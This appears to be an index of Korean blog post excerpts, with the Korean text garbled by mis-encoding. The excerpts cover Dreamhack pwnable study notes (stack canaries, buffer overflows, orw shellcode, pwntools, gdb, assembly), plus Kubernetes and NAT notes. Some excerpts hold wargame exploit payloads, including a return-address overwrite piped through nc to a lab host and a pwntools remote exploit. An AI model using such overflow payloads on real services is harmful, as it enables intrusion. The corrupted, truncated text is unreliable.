checksec ./ํ์ผ์คํ๋ช # ํด๋น ํ์ผ์ ์ ์ฉ๋ ๋ณดํธ๊ธฐ๋ฒ๋ค์ ๋ณด์ฌ์ค๋ค. pwntools ์ค์นํ๋ฉด ์คํ ๊ฐ๋ฅ ์นด๋๋ฆฌ๊ฐ ์ ์ฉ๋์ด ์๋ ๊ฒ์ ํ์ธ #include #include int main() { char buf[0x50]; printf("Address of the buf: %p\n", buf); printf("Distance between buf and $rbp: %ld\n", (char*)__builtin_frame_address(0) - buf); //byte printf("[1] Leak the canary\n"); printf("Input: "); fflush(stdout); read(0, buf, 0x100); printf("Your input is '%s'\n", buf); puts("..
์ค๋์ ์คํ ์นด๋๋ฆฌ์ ๋ํด ๊ณต๋ถ๋ฅผ ํ ๊ฒ์ด๋ค! ์คํ์นด๋๋ฆฌ๋? - ์คํ ๋ฒํผ ์ค๋ฒํ๋ก์ฐ๋ก๋ถํฐ ๋ฐํ ์ฃผ์๋ฅผ ๋ณดํธํ๋ ๋ณดํธ๊ธฐ๋ฒ - ์คํ ์นด๋๋ฆฌ๋ ํจ์์ ํ๋กค๋ก๊ทธ์์ ์คํ ๋ฒํผ์ ๋ฐํ ์ฃผ์ ์ฌ์ด์ ์์์ ๊ฐ์ ์ฝ์ ํ๊ณ , ํจ์์ ์ํ๋ก๊ทธ์์ ํด๋น ๊ฐ์ ๋ณ์กฐ๋ฅผ ํ์ธํ๋ ๋ณดํธ ๊ธฐ๋ฒ์ด๋ค. ์นด๋๋ฆฌ ๊ฐ์ ๋ณ์กฐ๊ฐ ํ์ธ๋๋ฉด ํ๋ก์ธ์ค๋ ๊ฐ์ ๋ก ์ข ๋ฃ๋๋ค!@! fs? -> TLS(Thread Local Storage)์ ์นด๋๋ฆฌ๋ฅผ ๋น๋กฏํ์ฌ ํ๋ก์ธ์ค ์คํ์ ํ์ํ ์ฌ๋ฌ ๋ฐ์ดํฐ๊ฐ ์ ์ฅ๋๋ค๊ณ ๋ง ์ผ๋จ ์๊ณ ์์ Ex) ์๋ฅผ ๋ค์ด buf[8]์ readํ๋ ํจ์์ ๋ํด ์คํ๋ฒํผ์ค๋ฒํ๋ก์ฐ ๊ณต๊ฒฉ์ ์งํํ ๊ฒฝ์ฐ rbp-8 ์ ์ ์ฅ๋ ์นด๋๋ฆฌ์ fs:0x28 ์ ์ ์ฅ๋ ์นด๋๋ฆฌ๋ฅผ xorํด์ ์ฐ์ฐ ๊ฒฐ๊ณผ๊ฐ 0์ด๋ฉด je ์ฑ๊ณต์ผ๋ก ์ ์ ๋ฐํ! ๊ฒฐ๊ณผ๊ฐ ๋ค๋ฅธ ๊ฒฝ..
ํผ๊ณคํ๋ฐ ์ด์ฌํ ๋์์ผ๋๊น ์์ฌ์ ์ผ๋จ ํ๋ฌธ์ ํ๊ณ ์๋ ค๊ตฌ,,, Ubuntu 16.04 Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) ํ๊ฒฝ์ ๋ค์๊ณผ ๊ฐ๋ค. #include #include #include #include void alarm_handler() { puts("TIME OUT"); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(30); } void read_flag() ..
pwnable ์ด๋ณด์ธ ๋์๊ฒ๋ ์ด๋ ค์ด ๋ฌธ์ ์๋ค.. ์๊ฒฉ ์๋ฒ ํ๊ฒฝ์ ์ด๋ฌํ๋ค Ubuntu 16.04 Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments ์ฐ์ 32bit ํ๊ฒฝ์ด๊ธฐ ๋๋ฌธ์ ์คํํ๋ ์๊ตฌ์กฐ๋ buf(n) | sfp(4) | ret(4) ์๋ฌํ๋ค. #include #include #include #include void alarm_handler() { puts("TIME OUT"); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL..
Host: host1.dreamhack.games Port: 10469/tcp 1. python ๊ณต๊ฒฉ ์ฝ๋ ์ด์ฉ (python -c "print('A'*0x30 + 'B'*0x8 + '\xaa\x06\x40\x00\x00\x00\x00\x00')";cat)| nc host1.dreamhack.games 10469 2. pwntools ์ด์ฉ from pwn import * p = remote('host1.dreamhack.games',10469) # ์๊ฒฉ ์๋ฒ ๋์์ผ๋ก ์ต์คํ๋ก์ ์ํ context.arch="amd64" # x86-64 payload = 'A' * 0x30 payload += 'B' * 0x08 payload += '\xaa\x06\x40\x00\x00\x00\x00\x00' # get_..
์คํ ์ค๋ฒํ๋ก์ฐ VS ์คํ ๋ฒํผ ์ค๋ฒํ๋ก์ฐ ์คํ ์ค๋ฒํ๋ก์ฐ : ์คํ์์ญ์ด ๋๋ฌด ๋ง์ด ํ์ฅ๋ผ์ ๋ฐ์ํ๋ ๋ฒ๊ทธ ์คํ ๋ฒํผ ์ค๋ฒํ๋ก์ฐ : ์คํ์ ์์นํ ๋ฒํผ์ ๋ฒํผ์ ํฌ๊ธฐ๋ณด๋ค ๋ง์ ๋ฐ์ดํฐ๊ฐ ์ ๋ ฅ๋์ด ๋ฐ์ํ๋ ๋ฒ๊ทธ (์คํ์ ๋ฒํผ์์ ๋ฐ์ํ๋ ์ค๋ฒํ๋ก์ฐ) ๋ฒํผ(buffer)๋? ๋ฐ์ดํฐ๊ฐ ๋ชฉ์ ์ง๋ก ์ด๋๋๊ธฐ ์ ์ ๋ณด๊ด๋๋ ์์ ์ ์ฅ์ ์คํ ๋ฒํผ : ์คํ์ ์๋ ์ง์ญ๋ณ์ ํ ๋ฒํผ : ํ์ ํ ๋น๋ ๋ฉ๋ชจ๋ฆฌ ์์ญ Ex1) ๋ฐ์ดํฐ ๋ณ์กฐ - ๋ฒํผ ์ค๋ฒํ๋ก์ฐ๋ก ์ธํด ๋ค์ ๋ฐ์ดํฐ ๊ฐ์ ๋ณ์กฐ์ํฌ ์ ์๋ค. Ex2) ๋ฐ์ดํฐ ์ ์ถ c์ธ์ด์์ ๋ฌธ์์ด์ ๋์ null๋ก ์ธ์ํ๋๋ฐ ๋ฒํผ ์ค๋ฒํ๋ก์ฐ๋ฅผ ํตํด null์ ์์ ์ฃผ๋ฉด ๋ค์ ๋ฐ์ดํฐ๊น์ง ํจ๊ป ์ฝ๋ ๊ฒ์ด ๊ฐ๋ฅํด์ง๋ค. Ex3) ์คํํ๋ฆ์กฐ์ ์๋ฅผ ๋ค๋ฉด ํจ์์ ret์ ์์ ์ด ์คํํ๊ณ ์ถ์ ๋ช ๋ น..
์ ธ์ฝ๋๋? -> ์ต์คํ๋ก์์ ์ํด ์ ์๋ ์ด์ ๋ธ๋ฆฌ ์ฝ๋ ์กฐ๊ฐ ์ผ๋ฐ์ ์ผ๋ก ์ ธ์ ํ๋ํ๋ ๊ฒ์ด ๋ชฉ์ ! ์ด์ ๋ธ๋ฆฌ์ด๋ก ์ด๋ฃจ์ด์ ธ์์ Ex) ํด์ปค๊ฐ rip๋ฅผ ์์ ์ด ์์ฑํ ์ ธ์ฝ๋๋ก ์ฎ๊ธฐ๋ฉด ํด์ปค๊ฐ ์ํ๋ ์ด์ ๋ธ๋ฆฌ ์ฝ๋๋ฅผ ์คํํ ์ ์์ orw ์ ธ์ฝ๋ ์์ฑ - ํ์ผ์ ์ด๊ณ ์ฝ์ ๋ค ํ๋ฉด์ ์ถ๋ ฅํด์ฃผ๋ ์ ธ์ฝ๋! /** * /tmp/flag๋ฅผ ์ฝ๋ ์ ธ์ฝ๋ */ char buf[0x30]; int fd = open("/tmp/flag", RD_ONLY, NULL); read(fd, buf, 0x30); // ํ์ผ ์ฝ๊ณ buf์ ์ ์ฅ write(1, buf, 0x30); // buf ์ ์๋ ๊ฐ write ์๋ ์ฐ๋ฆฌ๊ฐ ๋ง๋ค ์ ธ ์ฝ๋์ c์ธ์ด ์์ฌ์ฝ๋ 1. int fd = open(“/tmp/flag”, O_RDONLY, NUL..
1. process & remote - process : ์ต์คํ๋ก์์ ๋ก์ปฌ ๋ฐ์ด๋๋ฆฌ๋ฅผ ๋์์ผ๋ก ํ ๋ ์ฌ์ฉํ๋ ํจ์ (ํ ์คํธ & ๋๋ฒ๊น ์ฉ) - remote : ์๊ฒฉ ์๋ฒ๋ฅผ ๋์์ผ๋ก ํ ๋ ์ฌ์ฉ (์๋ฒ๋ฅผ ์ค์ ๊ณต๊ฒฉํ๊ธฐ ์ํจ) from pwn import * p = process('./test') #๋ก์ปฌ ๋ฐ์ด๋๋ฆฌ 'test'๋ฅผ ๋์์ผ๋ก ์ต์คํ๋ก์ ์ํ p = remote('example.com',31337) #'example.com'์ 31337 ํฌํธ์์ ์คํ ์ค์ธ ํ๋ก์ธ์ค๋ฅผ ๋์์ผ๋ก ์ต์คํ๋ก์ ์ํ 2. send - send : ๋ฐ์ดํฐ๋ฅผ ํ๋ก์ธ์ค์ ์ ์กํ๊ธฐ์ํด ์ฌ์ฉ from pwn import * p = process('./test') p.send('A') # ./test์ 'A'๋ฅผ ์ ๋ ฅ p.sendli..
gdb๋ ๋ฆฌ๋ ์ค์ ๋ํ์ ์ธ ๋๋ฒ๊ฑฐ์ค ํ๋! ELF - ๋ฆฌ๋ ์ค ์คํ ํ์ผ ํ์ - ํฌ๊ฒ ํค๋์ ์ฌ๋ฌ ํ์์ผ๋ก ์ด๋ฃจ์ด์ง --> ELF ์ ํค๋์ ์ง์ ์ (EP) ํ๋ ์กด์ฌ (OS๋ ELF๋ฅผ ์คํํ ๋ EP๋ถํฐ ํ๋ก๊ทธ๋จ ์คํ) //ํด๋น ๋ช ๋ น์ด๋ฅผ ํตํด ์ง์ ์ ํ์ธ ๊ฐ๋ฅ //entry point address readelf -h debugee(ํ์ผ๋ช ) entry point address : 0x1060 gdb์์ start ๋ช ๋ น์ด๋ฅผ ์ ๋ ฅํ๋ฉด ์ง์ ์ ์ฃผ์๋ฅผ rip๊ฐ ๊ฐ๋ฆฌํค๊ณ ์๋ ๊ฒ์ ๋ณผ ์ ์๋ค. gdb (gdb) start 1. registers : ๋ ์ง์คํฐ์ ์ํ๋ฅผ ๋ณด์ฌ์ค 2. disasm : rip๋ถํฐ ์ฌ๋ฌ์ค์ ๊ฑธ์ณ ๋์ค์ด์ ๋ธ(๊ธฐ๊ณ์ด -> ์ด์ ๋ธ๋ฆฌ)๋ ๊ฒฐ๊ณผ๋ฅผ ๋ณด์ฌ์ค 3. stack : rsp๋ถํฐ ์ฌ๋ฌ์ค์ ๊ฑธ์ณ..
dreamhack์ ํตํด ๊ณต๋ถํ ๋ด์ฉ์ ์ ๋ฆฌํ ํฌ์คํธ์ ๋๋ค. ํผ์ฐ์ฐ์ ์ข ๋ฅ - ์์ - ๋ ์ง์คํฐ - ๋ฉ๋ชจ๋ฆฌ (BYTE(1), WORD(2), DWORD(4), QWORD(8)) ๋ฐ์ดํฐ์ ์ด๋ - MOV a, b => b์ ์๋ ๊ฐ์ a์ ๋์ - LEA a,b => b์ ์ฃผ์๊ฐ์ a์ ๋์ EX) mov eax, dword ptr ss:[ebp-4] ์ ๊ฒฝ์ฐ์๋ [ebp-4]๊ฐ ํ๋์ ์ฃผ์๋ก ํด๋น ์ฃผ์์ ๊ฐ์ eax์ ๋์ ํ๋ค. lea eax, dword ptr ss:[ebp-4] ์ ๊ฒฝ์ฐ์๋ mov eax, ebp ํ์ sub eax,4 ๋ฅผ ํ๋ ๊ฒ๊ณผ ๊ฐ๋ค. +) [ ] ๊ธฐํธ๋ ์ฃผ์์ ์ฐธ์กฐ๊ฐ์ ์๋ฏธํ๋ฉฐ [ ] ์์์ ์ฃผ์์ ์ฌ์น ์ฐ์ฐ์ด ์ด๋ฃจ์ด์ง๋ค. ์ฐ์ ์ฐ์ฐ - add a,b => a= a+b - sub..
NodePort : ์ธ๋ถ์์ ์ ์ํ๊ธฐ ์ํด ์ฌ์ฉํ๋ port Port : Cluster ๋ด๋ถ์์ ์ฌ์ฉํ Service ๊ฐ์ฒด์ ํฌํธ TargetPort : Service๊ฐ์ฒด๋ก ์ ๋ฌ๋ ์์ฒญ์ Pod(deployment)๋ก ์ ๋ฌํ ๋ ์ฌ์ฉํ๋ ํฌํธ(์ฆ pod์ port?์ธ๋ฏ) ์ฆ, HTTP -> NodePort -> Port -> TargetPort ์ธ๋ถ์์ ์ ๊ทผํ๊ธฐ ์ํด์๋ external ip:port ๋ฅผ ์ ๋ ฅํด์ผํจ +) service - Cluster ip - NodePort - LoadBalancer ๋ธ๋ผ์ฐ์ ๊ฐ LoadBalancer์ ์์ฒญ ๋ณด๋ด๋ฉด ์์์ ์ด์์๋ Node ์ ์ ๊ทผ?? ํ๋๋ฏ [์ถ์ฒ] https://m.blog.naver.com/PostView.naver?isHttpsRedirect=tr..
** ๊ฐ์๋จธ์ ๊ณต๋ถ๋ฅผ ์ํ ํฌ์คํธ ! NAT - ์ฌ์ค ๋คํธ์ํฌ ์ฃผ์(Ex) ๊ฐ์๋จธ์ ๋ด๋ถ ๋คํธ์ํฌ)๋ฅผ ์ฌ์ฉํ๋ ๋ง์์ ์ธ๋ถ ๊ณต์ธ ๋คํธ์ํฌ์์ ํต์ ์ ์ํด์ ๋คํธ์ํฌ ์ฃผ์๋ฅผ ๋ณํํ๋ ๊ฒ - ๊ฐ์๋จธ์ ๋คํธ์ํฌ์์ ์ผ๋ฐ์ ์ผ๋ก ์ค์ ๋์ด์์ - ๋์ปค ์ปจํ ์ด๋๋ ๋ง์ฐฌ๊ฐ์ง๋ก ๊ธฐ๋ณธ์ ์ผ๋ก NAT ํ๊ฒฝ ๊ตฌ์ฑ - ๋ด๋ถ -> ์ธ๋ถ ์ ๊ทผ ๊ฐ๋ฅ O - ์ธ๋ถ -> ๋ด๋ถ ์ ๊ทผ ๋ถ๊ฐ X - ๋ํดํธ ๊ฒ์ดํธ์จ์ด๋ฅผ ํตํด ์ธ๋ถ์ ํต์ ์ด ๊ฐ๋ฅ! - ๊ณต์ ๊ธฐ๋ ๋ง์ฐฌ๊ฐ์ง(๋ด๋ถ์ ์ผ๋ก ์ฌ์ค ip๋ฅผ ๊ฐ์ง๊ณ ์์ง๋ง ๊ธฐ๋ณธ ๊ฒ์ดํธ์จ์ด์์ ๊ณต์ธ ip๋ก ๋ณ๊ฒฝ๋ ํ ์น์๋ฒ์ ์ ์ก๋จ) ์ถ์ฒ: https://technote.kr/213